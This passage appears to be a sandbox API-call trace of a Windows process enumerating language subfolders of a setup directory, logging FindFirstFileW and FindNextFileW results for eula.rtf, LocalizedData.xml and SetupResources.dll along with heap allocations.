ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.676] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.676] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.676] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.676] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.676] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0088.676] GetProcessHeap () returned 0xc00000 [0088.676] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.676] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1038", cAlternateFileName="")) returned 1 [0088.677] GetProcessHeap () returned 0xc00000 [0088.677] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.677] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0088.677] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.677] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.677] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.677] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.677] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.677] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0088.677] GetProcessHeap () returned 0xc00000 [0088.677] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.677] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1040", cAlternateFileName="")) returned 1 [0088.677] GetProcessHeap () returned 0xc00000 [0088.677] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.677] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0088.678] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.678] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.678] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.678] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.678] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.678] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0088.678] GetProcessHeap () returned 0xc00000 [0088.678] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.678] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1041", cAlternateFileName="")) returned 1 [0088.678] GetProcessHeap () returned 0xc00000 [0088.678] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.678] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.678] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.678] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.678] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.679] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.679] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.679] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0088.679] GetProcessHeap () returned 0xc00000 [0088.679] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.679] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1042", cAlternateFileName="")) returned 1 [0088.679] GetProcessHeap () returned 0xc00000 [0088.679] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.679] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.679] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.679] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.680] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.680] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.680] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.680] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0088.680] GetProcessHeap () returned 0xc00000 [0088.680] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.680] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1043", cAlternateFileName="")) returned 1 [0088.680] GetProcessHeap () returned 0xc00000 [0088.680] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.680] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.680] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.680] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.680] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.680] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.680] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.681] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0088.681] GetProcessHeap () returned 0xc00000 [0088.681] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.681] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1044", cAlternateFileName="")) returned 1 [0088.681] GetProcessHeap () returned 0xc00000 [0088.681] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.681] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.681] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, 